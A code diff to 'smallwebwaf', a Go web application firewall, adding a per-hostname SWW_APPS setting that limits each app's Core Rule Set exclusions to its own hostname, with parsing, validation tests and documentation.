Compare commits
4
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
6fa0865cdb | ||
|
|
75f30a34b2 | ||
|
|
4b62bc84ce | ||
|
|
4ebe8be8c1 |
No files matched your search
@@ -278,6 +278,7 @@ Every setting the code reads, with its default:
|
|||||||
| `SWW_WAF_EXEMPT_PATHS` | empty | Path prefixes the Core Rule Set does not inspect. |
|
| `SWW_WAF_EXEMPT_PATHS` | empty | Path prefixes the Core Rule Set does not inspect. |
|
||||||
| `SWW_WAF_BODY_LIMIT` | `off` | How much of a request body the Core Rule Set reads, a size up to `64K`; `off` reads none. |
|
| `SWW_WAF_BODY_LIMIT` | `off` | How much of a request body the Core Rule Set reads, a size up to `64K`; `off` reads none. |
|
||||||
| `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` | unset | A file of Core Rule Set exclusions, as Coraza directives, that switch rules off for some fields or paths only. |
|
| `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` | unset | A file of Core Rule Set exclusions, as Coraza directives, that switch rules off for some fields or paths only. |
|
||||||
|
| `SWW_APPS` | unset | The apps each hostname serves, such as `git.example.com:gitea;blog.example.com:wordpress`; only those apps' fixes apply there. "Attack detection" lists the apps. Listing `forgejo` brings gitea's fixes too. Unset, every app's fixes apply to every hostname. |
|
||||||
| `SWW_BLOCKLIST_URLS` | empty | Blocklists to fetch, text files of addresses and netblocks one to a line, such as `https://www.spamhaus.org/drop/drop.txt`. |
|
| `SWW_BLOCKLIST_URLS` | empty | Blocklists to fetch, text files of addresses and netblocks one to a line, such as `https://www.spamhaus.org/drop/drop.txt`. |
|
||||||
| `SWW_BLOCKLIST_REFRESH` | `24h` | How long after a list was last tried it is fetched again, `1h` or more. |
|
| `SWW_BLOCKLIST_REFRESH` | `24h` | How long after a list was last tried it is fetched again, `1h` or more. |
|
||||||
| `SWW_BLOCKLIST_ACTION` | `deny` | What a client on a blocklist gets: `deny`, `limit:<percent>` of every limit, or `log`. |
|
| `SWW_BLOCKLIST_ACTION` | `deny` | What a client on a blocklist gets: `deny`, `limit:<percent>` of every limit, or `log`. |
|
||||||
@@ -581,30 +582,30 @@ client's limits by tag. See "Request tags" in [`SPEC.md`](SPEC.md).
|
|||||||
headers of every request, and no body unless `SWW_WAF_BODY_LIMIT` is set. In
|
headers of every request, and no body unless `SWW_WAF_BODY_LIMIT` is set. In
|
||||||
front of a code forge, bodies carry what people write and publish, which the
|
front of a code forge, bodies carry what people write and publish, which the
|
||||||
rules take for attacks.
|
rules take for attacks.
|
||||||
- `smallwebwaf` changes the Core Rule Set in fifteen ways so that ordinary
|
- `smallwebwaf` changes the Core Rule Set in five ways so that it lets ordinary
|
||||||
requests get through to the apps listed below. No setting undoes the changes;
|
requests to a code forge through, such as git over HTTP and sign-in through
|
||||||
"Attack detection" in [`SPEC.md`](SPEC.md) lists them.
|
Git Credential Manager. No setting undoes the changes; "Attack detection" in
|
||||||
- These apps work out of the box at the default settings, and their recorded
|
[`SPEC.md`](SPEC.md) lists them.
|
||||||
ordinary requests pass the Core Rule Set:
|
- Each supported app also has its own fixes, which let its ordinary requests
|
||||||
- gitea: git over HTTP and sign-in through Git Credential Manager get
|
through. Its recorded ordinary requests pass the Core Rule Set at the default
|
||||||
through. On gitea's own paths, its searches, file names and branch names
|
settings. The supported apps, by their names in `SWW_APPS`, are:
|
||||||
do too.
|
- `gitea`, whose fixes let its container registry, searches, file names,
|
||||||
- Forgejo: git over HTTP and its container and package registries get
|
branch names and repository names through;
|
||||||
through. On Forgejo's own paths, its searches, file names and branch names
|
- `forgejo`, a fork of gitea, which gets gitea's fixes too, and whose own
|
||||||
do too.
|
fixes let its searches through;
|
||||||
- WordPress: saving a post from the block editor gets through. On
|
- `wordpress`, whose fixes let through its searches, its names, its file
|
||||||
WordPress's own paths, its searches, names and file names do too.
|
names and a post saved from the block editor;
|
||||||
- Drupal: on Drupal's own paths, the page to return to, its searches and its
|
- `drupal`, whose fixes let through the page to return to, its searches and
|
||||||
names get through.
|
its names;
|
||||||
- MediaWiki: on MediaWiki's own paths, its searches, page titles, names and
|
- `mediawiki`, whose fixes let through its searches, its page titles, its
|
||||||
wikitext get through.
|
names and its wikitext;
|
||||||
- Mastodon: on Mastodon's own paths, its searches, names, email addresses,
|
- `mastodon`, whose fixes let through its searches, its names, its email
|
||||||
posts and deliveries from other servers get through.
|
addresses, its posts and deliveries from other servers;
|
||||||
- Vaultwarden: on Vaultwarden's own paths, its names, password hints, email
|
- `vaultwarden`, whose fixes let through its names, its password hints, its
|
||||||
addresses and encrypted file names get through.
|
email addresses and its encrypted file names;
|
||||||
- Nextcloud: its sync client gets through. On Nextcloud's own paths, its
|
- `nextcloud`, whose fixes let through its sync client, its WebDAV methods,
|
||||||
WebDAV methods, searches, file names, account names, comments and
|
its searches, its file names, its account names, its comments and its
|
||||||
documents do too.
|
documents.
|
||||||
- A random password, as a password manager makes one, gets through these forms:
|
- A random password, as a password manager makes one, gets through these forms:
|
||||||
- signing in, signing up, and changing or resetting a password, on
|
- signing in, signing up, and changing or resetting a password, on
|
||||||
WordPress, Drupal, MediaWiki, Mastodon, Nextcloud and gitea;
|
WordPress, Drupal, MediaWiki, Mastodon, Nextcloud and gitea;
|
||||||
@@ -612,6 +613,9 @@ client's limits by tag. See "Request tags" in [`SPEC.md`](SPEC.md).
|
|||||||
- deleting the account, on gitea;
|
- deleting the account, on gitea;
|
||||||
- the admin page, on Vaultwarden, whose apps send a hash of the master
|
- the admin page, on Vaultwarden, whose apps send a hash of the master
|
||||||
password, not the password itself.
|
password, not the password itself.
|
||||||
|
- `SWW_APPS` names the apps each hostname serves. A hostname gets only its own
|
||||||
|
apps' fixes. A hostname `SWW_APPS` does not list gets none. Unset, every app's
|
||||||
|
fixes apply to every hostname.
|
||||||
- `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` switches single rules off for an app's own
|
- `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` switches single rules off for an app's own
|
||||||
fields or paths.
|
fields or paths.
|
||||||
- Rule files are plain text, one rule to a line, edited by hand and read again
|
- Rule files are plain text, one rule to a line, edited by hand and read again
|
||||||
|
|||||||
@@ -256,6 +256,32 @@ the request first.
|
|||||||
a range. So does a directive that removes or changes rules as the file loads,
|
a range. So does a directive that removes or changes rules as the file loads,
|
||||||
such as `SecRuleRemoveById`, since none of the Core Rule Set's rules is loaded
|
such as `SecRuleRemoveById`, since none of the Core Rule Set's rules is loaded
|
||||||
yet. It has no `_FILE` form.
|
yet. It has no `_FILE` form.
|
||||||
|
- `SWW_APPS` (default unset): the apps each hostname serves. A request gets the
|
||||||
|
fixes of its hostname's apps only (see "Attack detection" in
|
||||||
|
[`SPEC.md`](../SPEC.md)).
|
||||||
|
- Entries are separated by semicolons. Each is a hostname, a colon, then one
|
||||||
|
or more apps separated by commas, for example
|
||||||
|
`git.example.com:gitea;blog.example.com:wordpress`.
|
||||||
|
- The supported apps are:
|
||||||
|
- `drupal`;
|
||||||
|
- `forgejo`, which gets gitea's fixes too;
|
||||||
|
- `gitea`;
|
||||||
|
- `mastodon`;
|
||||||
|
- `mediawiki`;
|
||||||
|
- `nextcloud`;
|
||||||
|
- `vaultwarden`;
|
||||||
|
- `wordpress`.
|
||||||
|
- The request's `Host` is matched by exact name, without its port and
|
||||||
|
without regard to case. There are no wildcards.
|
||||||
|
- A hostname not listed gets no app's fixes. Set empty, `SWW_APPS` lists no
|
||||||
|
hostname.
|
||||||
|
- Unset, every app's fixes apply to every hostname.
|
||||||
|
- Any of these mistakes stops the start:
|
||||||
|
- an unknown app;
|
||||||
|
- a hostname that is not a DNS name, such as `*.example.com`;
|
||||||
|
- a hostname listed twice;
|
||||||
|
- an app listed twice for one hostname;
|
||||||
|
- an entry without a colon.
|
||||||
- `SWW_ERROR_BURST_THRESHOLD` (default `30`): the most refusals a client may get
|
- `SWW_ERROR_BURST_THRESHOLD` (default `30`): the most refusals a client may get
|
||||||
in a minute from a rule file, a trap path or the Core Rule Set, a count or
|
in a minute from a rule file, a trap path or the Core Rule Set, a count or
|
||||||
`off`. The next one bans the client (see "Attack detection" in `SPEC.md`).
|
`off`. The next one bans the client (see "Attack detection" in `SPEC.md`).
|
||||||
|
|||||||
+96
-1
@@ -21,6 +21,7 @@ import (
|
|||||||
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/anomaly"
|
"sneak.berlin/go/smallwebwaf/internal/anomaly"
|
||||||
|
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/remotelog"
|
"sneak.berlin/go/smallwebwaf/internal/remotelog"
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -230,6 +231,11 @@ type Config struct {
|
|||||||
WAFExemptPaths []string
|
WAFExemptPaths []string
|
||||||
WAFBodyLimit int64
|
WAFBodyLimit int64
|
||||||
CoreRuleSetExclusionsFile string
|
CoreRuleSetExclusionsFile string
|
||||||
|
// Apps are the names of the apps each hostname serves, by hostname in
|
||||||
|
// lowercase (SWW_APPS): a request gets only its hostname's apps' fixes
|
||||||
|
// to the Core Rule Set. Apps is nil while SWW_APPS is unset, and every
|
||||||
|
// request gets every app's fixes.
|
||||||
|
Apps map[string][]string
|
||||||
// TrapPaths are the paths a request for which is a clear sign of
|
// TrapPaths are the paths a request for which is a clear sign of
|
||||||
// attack (SWW_TRAP_PATHS), each starting with / and without a ?.
|
// attack (SWW_TRAP_PATHS), each starting with / and without a ?.
|
||||||
TrapPaths []string
|
TrapPaths []string
|
||||||
@@ -379,6 +385,15 @@ var (
|
|||||||
errNotTrapPath = errors.New(
|
errNotTrapPath = errors.New(
|
||||||
"is not a path starting with / and without a ?, such as /wp-login.php",
|
"is not a path starting with / and without a ?, such as /wp-login.php",
|
||||||
)
|
)
|
||||||
|
errNotAppsEntry = errors.New(
|
||||||
|
"is not a hostname, : and a list of apps, such as git.example.com:gitea",
|
||||||
|
)
|
||||||
|
errNotHostname = errors.New(
|
||||||
|
"is not a DNS name such as git.example.com",
|
||||||
|
)
|
||||||
|
errNotApp = errors.New(
|
||||||
|
"is not an app sww has fixes for; the apps are",
|
||||||
|
)
|
||||||
errNotWAFMode = errors.New("is not off, detect or block")
|
errNotWAFMode = errors.New("is not off, detect or block")
|
||||||
errNotParanoiaLevel = errors.New("is not a paranoia level, from 1 to 4")
|
errNotParanoiaLevel = errors.New("is not a paranoia level, from 1 to 4")
|
||||||
errNotRuleID = errors.New(
|
errNotRuleID = errors.New(
|
||||||
@@ -631,6 +646,7 @@ func FromEnvironment(
|
|||||||
WAFBodyLimit: env.wafBodyLimit("SWW_WAF_BODY_LIMIT", off),
|
WAFBodyLimit: env.wafBodyLimit("SWW_WAF_BODY_LIMIT", off),
|
||||||
CoreRuleSetExclusionsFile: env.filePath(
|
CoreRuleSetExclusionsFile: env.filePath(
|
||||||
"SWW_CORE_RULE_SET_EXCLUSIONS_FILE"),
|
"SWW_CORE_RULE_SET_EXCLUSIONS_FILE"),
|
||||||
|
Apps: env.apps("SWW_APPS"),
|
||||||
TrapPaths: env.trapPaths("SWW_TRAP_PATHS"),
|
TrapPaths: env.trapPaths("SWW_TRAP_PATHS"),
|
||||||
ErrorBurstThreshold: env.count("SWW_ERROR_BURST_THRESHOLD", "30"),
|
ErrorBurstThreshold: env.count("SWW_ERROR_BURST_THRESHOLD", "30"),
|
||||||
LogRemoteURL: env.logRemoteURL("SWW_LOG_REMOTE_URL"),
|
LogRemoteURL: env.logRemoteURL("SWW_LOG_REMOTE_URL"),
|
||||||
@@ -779,6 +795,25 @@ func (e *environment) pathPrefixes(name, defaultValue string) []string {
|
|||||||
return prefixes
|
return prefixes
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// apps reads the setting that is the apps each hostname serves. It is nil
|
||||||
|
// while the setting is unset, and logged as null, unlike a setting set
|
||||||
|
// empty.
|
||||||
|
func (e *environment) apps(name string) map[string][]string {
|
||||||
|
value, set := e.lookup(name)
|
||||||
|
if !set {
|
||||||
|
e.settings = append(e.settings, slog.Any(name, nil))
|
||||||
|
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
e.settings = append(e.settings, slog.String(name, value))
|
||||||
|
|
||||||
|
apps, err := parseApps(value)
|
||||||
|
e.check(name, err)
|
||||||
|
|
||||||
|
return apps
|
||||||
|
}
|
||||||
|
|
||||||
// trapPaths reads the setting that is the list of trap paths. It is empty
|
// trapPaths reads the setting that is the list of trap paths. It is empty
|
||||||
// by default.
|
// by default.
|
||||||
func (e *environment) trapPaths(name string) []string {
|
func (e *environment) trapPaths(name string) []string {
|
||||||
@@ -1725,6 +1760,65 @@ func parseTrapPaths(value string) ([]string, error) {
|
|||||||
return paths, nil
|
return paths, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// parseApps reads the apps each hostname serves: entries separated by
|
||||||
|
// semicolons, each a hostname, a colon, and a comma-separated list of the
|
||||||
|
// names coreruleset.AppNames returns, such as
|
||||||
|
// git.example.com:gitea;cloud.example.com:nextcloud,wordpress. Each
|
||||||
|
// hostname is a DNS name, without a wildcard. It returns them by hostname
|
||||||
|
// in lowercase, since a hostname is matched without regard to case. An
|
||||||
|
// empty value lists no hostname.
|
||||||
|
func parseApps(value string) (map[string][]string, error) {
|
||||||
|
apps := map[string][]string{}
|
||||||
|
|
||||||
|
if strings.TrimSpace(value) == "" {
|
||||||
|
return apps, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
for entry := range strings.SplitSeq(value, ";") {
|
||||||
|
hostname, list, found := strings.Cut(entry, ":")
|
||||||
|
if !found {
|
||||||
|
return nil, fmt.Errorf("%q %w", entry, errNotAppsEntry)
|
||||||
|
}
|
||||||
|
|
||||||
|
hostname = strings.ToLower(strings.TrimSpace(hostname))
|
||||||
|
if hostname == "" {
|
||||||
|
return nil, fmt.Errorf("%q %w", entry, errNotAppsEntry)
|
||||||
|
}
|
||||||
|
|
||||||
|
if !isZone(hostname) {
|
||||||
|
return nil, fmt.Errorf("%q %w", hostname, errNotHostname)
|
||||||
|
}
|
||||||
|
|
||||||
|
if _, listed := apps[hostname]; listed {
|
||||||
|
return nil, fmt.Errorf("%q %w", hostname, errListedTwice)
|
||||||
|
}
|
||||||
|
|
||||||
|
names, err := parseList(list)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
if len(names) == 0 {
|
||||||
|
return nil, fmt.Errorf("%q %w", entry, errNotAppsEntry)
|
||||||
|
}
|
||||||
|
|
||||||
|
for i, name := range names {
|
||||||
|
if !slices.Contains(coreruleset.AppNames(), name) {
|
||||||
|
return nil, fmt.Errorf("%q %w %s", name, errNotApp,
|
||||||
|
strings.Join(coreruleset.AppNames(), ", "))
|
||||||
|
}
|
||||||
|
|
||||||
|
if slices.Contains(names[:i], name) {
|
||||||
|
return nil, fmt.Errorf("%q %w", name, errListedTwice)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
apps[hostname] = names
|
||||||
|
}
|
||||||
|
|
||||||
|
return apps, nil
|
||||||
|
}
|
||||||
|
|
||||||
// parseRuleIDs reads a comma-separated list of the ids of Core Rule Set
|
// parseRuleIDs reads a comma-separated list of the ids of Core Rule Set
|
||||||
// rules, each a whole number above zero and outside firstSetupRuleID to
|
// rules, each a whole number above zero and outside firstSetupRuleID to
|
||||||
// lastSetupRuleID.
|
// lastSetupRuleID.
|
||||||
@@ -2299,7 +2393,8 @@ func MaskZoneKey(zone string) string {
|
|||||||
return masked + "." + rest
|
return masked + "." + rest
|
||||||
}
|
}
|
||||||
|
|
||||||
// isZone reports whether each label of zone is as parseZones takes it.
|
// isZone reports whether each label of zone is as parseZones takes it. It
|
||||||
|
// also checks the hostnames of SWW_APPS, which are DNS names too.
|
||||||
func isZone(zone string) bool {
|
func isZone(zone string) bool {
|
||||||
for label := range strings.SplitSeq(zone, ".") {
|
for label := range strings.SplitSeq(zone, ".") {
|
||||||
badChar := strings.ContainsFunc(label, func(char rune) bool {
|
badChar := strings.ContainsFunc(label, func(char rune) bool {
|
||||||
|
|||||||
@@ -90,6 +90,7 @@ const (
|
|||||||
wafExemptPaths = "SWW_WAF_EXEMPT_PATHS"
|
wafExemptPaths = "SWW_WAF_EXEMPT_PATHS"
|
||||||
wafBodyLimit = "SWW_WAF_BODY_LIMIT"
|
wafBodyLimit = "SWW_WAF_BODY_LIMIT"
|
||||||
exclusionsFile = "SWW_CORE_RULE_SET_EXCLUSIONS_FILE"
|
exclusionsFile = "SWW_CORE_RULE_SET_EXCLUSIONS_FILE"
|
||||||
|
apps = "SWW_APPS"
|
||||||
trapPaths = "SWW_TRAP_PATHS"
|
trapPaths = "SWW_TRAP_PATHS"
|
||||||
errorBurstThreshold = "SWW_ERROR_BURST_THRESHOLD"
|
errorBurstThreshold = "SWW_ERROR_BURST_THRESHOLD"
|
||||||
logRemoteURL = "SWW_LOG_REMOTE_URL"
|
logRemoteURL = "SWW_LOG_REMOTE_URL"
|
||||||
@@ -639,6 +640,108 @@ func TestCoreRuleSetSettings(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// gitea is gitea's name in SWW_APPS.
|
||||||
|
const gitea = "gitea"
|
||||||
|
|
||||||
|
func TestApps(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
for _, tc := range []struct {
|
||||||
|
env environment
|
||||||
|
want map[string][]string
|
||||||
|
}{
|
||||||
|
{environment{}, nil},
|
||||||
|
{environment{apps: ""}, map[string][]string{}},
|
||||||
|
{
|
||||||
|
environment{apps: "Git.Example.com:gitea; cloud.example.com : gitea "},
|
||||||
|
map[string][]string{
|
||||||
|
"git.example.com": {gitea}, "cloud.example.com": {gitea},
|
||||||
|
},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
environment{apps: "cloud.example.com:gitea,wordpress"},
|
||||||
|
map[string][]string{"cloud.example.com": {gitea, "wordpress"}},
|
||||||
|
},
|
||||||
|
} {
|
||||||
|
cfg := fromEnvironment(t, tc.env)
|
||||||
|
if !reflect.DeepEqual(cfg.Apps, tc.want) {
|
||||||
|
t.Errorf("%v gave %#v, want %#v", tc.env, cfg.Apps, tc.want)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Unset and set empty, SWW_APPS has opposite effects, so it logs differently.
|
||||||
|
func TestUnsetAndEmptyAppsAreLoggedDifferently(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
for _, tc := range []struct {
|
||||||
|
env environment
|
||||||
|
want string
|
||||||
|
}{
|
||||||
|
{environment{}, `"` + apps + `":null`},
|
||||||
|
{environment{apps: ""}, `"` + apps + `":""`},
|
||||||
|
} {
|
||||||
|
var out bytes.Buffer
|
||||||
|
|
||||||
|
slog.New(slog.NewJSONHandler(&out, nil)).
|
||||||
|
Info("starting", "settings", fromEnvironment(t, tc.env))
|
||||||
|
|
||||||
|
if !strings.Contains(out.String(), tc.want) {
|
||||||
|
t.Errorf(
|
||||||
|
"%v logged %s, want %s in it",
|
||||||
|
tc.env,
|
||||||
|
out.String(),
|
||||||
|
tc.want,
|
||||||
|
)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestInvalidAppsStopsTheStart(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
const (
|
||||||
|
notEntry = " is not a hostname, : and a list of apps, " +
|
||||||
|
"such as git.example.com:gitea"
|
||||||
|
notHostname = " is not a DNS name such as git.example.com"
|
||||||
|
)
|
||||||
|
|
||||||
|
for _, tc := range []struct{ value, want string }{
|
||||||
|
{"git.example.com:gitea;blog.example.com", `"blog.example.com"` + notEntry},
|
||||||
|
{"git.example.com:gitea;", `""` + notEntry},
|
||||||
|
{":gitea", `":gitea"` + notEntry},
|
||||||
|
{"git.example.com:", `"git.example.com:"` + notEntry},
|
||||||
|
{"*.example.com:gitea", `"*.example.com"` + notHostname},
|
||||||
|
{"git.example.com/:gitea", `"git.example.com/"` + notHostname},
|
||||||
|
{"git example.com:gitea", `"git example.com"` + notHostname},
|
||||||
|
{
|
||||||
|
"git.example.com:gitea,jellyfin",
|
||||||
|
`"jellyfin" is not an app sww has fixes for; ` +
|
||||||
|
`the apps are drupal, forgejo, gitea, mastodon, mediawiki, ` +
|
||||||
|
`nextcloud, vaultwarden, wordpress`,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"git.example.com:gitea;GIT.example.com:gitea",
|
||||||
|
`"git.example.com" is listed twice`,
|
||||||
|
},
|
||||||
|
{"git.example.com:gitea,gitea", `"gitea" is listed twice`},
|
||||||
|
{"git.example.com:gitea,", `"gitea," has an empty item in its list`},
|
||||||
|
} {
|
||||||
|
t.Run(tc.value, func(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
_, err := config.FromEnvironment(
|
||||||
|
environment{apps: tc.value}.lookupEnv,
|
||||||
|
)
|
||||||
|
|
||||||
|
want := apps + ": " + tc.want
|
||||||
|
if err == nil || err.Error() != want {
|
||||||
|
t.Errorf("error %v, want %s", err, want)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
func TestWAFBodyLimitOf64K(t *testing.T) {
|
func TestWAFBodyLimitOf64K(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
@@ -2968,6 +3071,7 @@ func TestLogsEachSettingWithItsValue(t *testing.T) {
|
|||||||
wafExemptPaths: "",
|
wafExemptPaths: "",
|
||||||
wafBodyLimit: off,
|
wafBodyLimit: off,
|
||||||
exclusionsFile: "",
|
exclusionsFile: "",
|
||||||
|
apps: "", // logged as null, which decodes as ""
|
||||||
trapPaths: "",
|
trapPaths: "",
|
||||||
errorBurstThreshold: "30",
|
errorBurstThreshold: "30",
|
||||||
logRemoteURL: "",
|
logRemoteURL: "",
|
||||||
|
|||||||
+137
-126
@@ -1,9 +1,9 @@
|
|||||||
// Package coreruleset runs the OWASP Core Rule Set 4.25.0, through Coraza, on the
|
// Package coreruleset runs the OWASP Core Rule Set 4.25.0, through Coraza, on the
|
||||||
// method, the URL with its query and the headers of a request, and on its
|
// method, the URL with its query and the headers of a request, and on its
|
||||||
// body while SWW_WAF_BODY_LIMIT is set, with the fifteen changes sww
|
// body while SWW_WAF_BODY_LIMIT is set, with the five changes sww
|
||||||
// makes to it and the exclusions in SWW_CORE_RULE_SET_EXCLUSIONS_FILE, as
|
// makes to it, the fixes for the apps SWW_APPS names, and the exclusions in
|
||||||
// "Attack detection" under "Settings" in SPEC.md describes them. It reads no
|
// SWW_CORE_RULE_SET_EXCLUSIONS_FILE, as "Attack detection" under "Settings"
|
||||||
// response.
|
// in SPEC.md describes them. It reads no response.
|
||||||
//
|
//
|
||||||
// sww writes only to its state directory, so Coraza is built with
|
// sww writes only to its state directory, so Coraza is built with
|
||||||
// its no_fs_access tag, as the Dockerfile and script/build build it: of a
|
// its no_fs_access tag, as the Dockerfile and script/build build it: of a
|
||||||
@@ -16,6 +16,8 @@ import (
|
|||||||
"errors"
|
"errors"
|
||||||
"fmt"
|
"fmt"
|
||||||
"io"
|
"io"
|
||||||
|
"maps"
|
||||||
|
"net"
|
||||||
"net/http"
|
"net/http"
|
||||||
"net/netip"
|
"net/netip"
|
||||||
"os"
|
"os"
|
||||||
@@ -32,11 +34,8 @@ import (
|
|||||||
|
|
||||||
// directives are the Core Rule Set as sww runs it, with the
|
// directives are the Core Rule Set as sww runs it, with the
|
||||||
// paranoia level for %d, bodyDirectives for the first %s while
|
// paranoia level for %d, bodyDirectives for the first %s while
|
||||||
// SWW_WAF_BODY_LIMIT is set, the exclusions file for the second,
|
// SWW_WAF_BODY_LIMIT is set, the exclusions file for the second, and the
|
||||||
// giteaExclusions for the third, wordpressExclusions for the fourth,
|
// directives of every app in apps for the third.
|
||||||
// drupalExclusions for the fifth, mediawikiExclusions for the sixth,
|
|
||||||
// mastodonExclusions for the seventh, vaultwardenExclusions for the eighth,
|
|
||||||
// nextcloudExclusions for the ninth, and forgejoExclusions for the tenth.
|
|
||||||
// Each rule sww adds has an id from 900000 to 900999, the ids the
|
// Each rule sww adds has an id from 900000 to 900999, the ids the
|
||||||
// Core Rule Set keeps for the rules that set it up, which
|
// Core Rule Set keeps for the rules that set it up, which
|
||||||
// SWW_WAF_DISABLED_RULES and the exclusions file refuse, so that no
|
// SWW_WAF_DISABLED_RULES and the exclusions file refuse, so that no
|
||||||
@@ -84,70 +83,24 @@ SecRule ARGUMENTS_LIMIT_REACHED "@eq 1" "id:900300,phase:2,pass,\
|
|||||||
# before the rules of phase 1 too.
|
# before the rules of phase 1 too.
|
||||||
%s
|
%s
|
||||||
|
|
||||||
# The eighth change comes before the rules for the same reason.
|
# The apps' fixes come before the rules for the same reason.
|
||||||
%s
|
%s
|
||||||
|
|
||||||
# The ninth change comes before the rules for the same reason.
|
# The fifth: only the rules for requests are loaded, and no response is
|
||||||
%s
|
|
||||||
|
|
||||||
# So does the tenth.
|
|
||||||
%s
|
|
||||||
|
|
||||||
# So does the eleventh.
|
|
||||||
%s
|
|
||||||
|
|
||||||
# So does the twelfth.
|
|
||||||
%s
|
|
||||||
|
|
||||||
# So does the thirteenth.
|
|
||||||
%s
|
|
||||||
|
|
||||||
# So does the fourteenth.
|
|
||||||
%s
|
|
||||||
|
|
||||||
# And the fifteenth.
|
|
||||||
%s
|
|
||||||
|
|
||||||
# The sixth: only the rules for requests are loaded, and no response is
|
|
||||||
# inspected.
|
# inspected.
|
||||||
Include @owasp_crs/REQUEST-*.conf
|
Include @owasp_crs/REQUEST-*.conf
|
||||||
|
|
||||||
# The third: redirect_uri is not checked for a URL naming an IP address or
|
# The third: redirect_uri is not checked for a URL naming an IP address or
|
||||||
# localhost. Coraza matches a parameter name here, and in the fourth,
|
# localhost. Coraza matches a parameter name here without regard to case.
|
||||||
# without regard to case. ARGS holds the fields of a form data or multipart
|
# ARGS holds the fields of a form data or multipart body Coraza reads as
|
||||||
# body Coraza reads as well as the query parameters, so a field of one of
|
# well as the query parameters, so a field of this name is left out too.
|
||||||
# these names is left out too.
|
|
||||||
SecRuleUpdateTargetById 931100 "!ARGS:redirect_uri"
|
SecRuleUpdateTargetById 931100 "!ARGS:redirect_uri"
|
||||||
SecRuleUpdateTargetById 934110 "!ARGS:redirect_uri"
|
SecRuleUpdateTargetById 934110 "!ARGS:redirect_uri"
|
||||||
|
|
||||||
# The fourth: the query parameters in which gitea sends names within a
|
# The fourth: Referer is not checked for a Unix command without arguments
|
||||||
# repository or its own records, or a page of its own site, are not
|
# or for Java starting a process.
|
||||||
# checked against the lists of system files, shell paths and command
|
|
||||||
# names. Coraza takes one rule id per directive.
|
|
||||||
SecRuleUpdateTargetById 930120 "!ARGS:path|!ARGS:files|!ARGS:skip-to|\
|
|
||||||
!ARGS:sub_path|!ARGS:ref|!ARGS:sha|!ARGS:branch|!ARGS:workflow|\
|
|
||||||
!ARGS:artifactName|!ARGS:redirect_to"
|
|
||||||
SecRuleUpdateTargetById 932160 "!ARGS:path|!ARGS:files|!ARGS:skip-to|\
|
|
||||||
!ARGS:sub_path|!ARGS:ref|!ARGS:sha|!ARGS:branch|!ARGS:workflow|\
|
|
||||||
!ARGS:artifactName|!ARGS:redirect_to"
|
|
||||||
SecRuleUpdateTargetById 932260 "!ARGS:path|!ARGS:files|!ARGS:skip-to|\
|
|
||||||
!ARGS:sub_path|!ARGS:ref|!ARGS:sha|!ARGS:branch|!ARGS:workflow|\
|
|
||||||
!ARGS:artifactName|!ARGS:redirect_to"
|
|
||||||
|
|
||||||
# The fifth, for Referer: it is not checked for a Unix command without
|
|
||||||
# arguments, for Java starting a process, or for a Java class name. 944130
|
|
||||||
# refused every page opened from the page of java.lang.String.md. The
|
|
||||||
# cookies are left out in Inspect.
|
|
||||||
SecRuleUpdateTargetById 932340 "!REQUEST_HEADERS:Referer"
|
SecRuleUpdateTargetById 932340 "!REQUEST_HEADERS:Referer"
|
||||||
SecRuleUpdateTargetById 944110 "!REQUEST_HEADERS:Referer"
|
SecRuleUpdateTargetById 944110 "!REQUEST_HEADERS:Referer"
|
||||||
SecRuleUpdateTargetById 944130 "!REQUEST_HEADERS:Referer"
|
|
||||||
|
|
||||||
# The seventh: a container image push that reuses a layer names the image
|
|
||||||
# it takes the layer from in the query parameter from, which is not
|
|
||||||
# checked for command names. 932260 refused the push of a layer from
|
|
||||||
# owner/python3-app.
|
|
||||||
SecRule REQUEST_FILENAME "@rx ^/v2/.+/blobs/uploads/$" \
|
|
||||||
"id:900500,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932260;ARGS:from"
|
|
||||||
`
|
`
|
||||||
|
|
||||||
// bodyDirectives have the Core Rule Set read the part of a request body
|
// bodyDirectives have the Core Rule Set read the part of a request body
|
||||||
@@ -192,69 +145,73 @@ SecRule MULTIPART_STRICT_ERROR "!@eq 0" "id:900450,phase:2,pass,\
|
|||||||
severity:'CRITICAL',setvar:'tx.inbound_anomaly_score_pl1=+5'"
|
severity:'CRITICAL',setvar:'tx.inbound_anomaly_score_pl1=+5'"
|
||||||
`
|
`
|
||||||
|
|
||||||
// giteaExclusions are the eighth change: the fields of gitea's own
|
// app is an app whose ordinary requests the Core Rule Set would refuse,
|
||||||
// requests that skip the rules that refused them there, as Coraza
|
// with the fixes that let them pass.
|
||||||
// directives.
|
type app struct {
|
||||||
//
|
// directives are Coraza exclusions, loaded before the Core Rule Set's
|
||||||
|
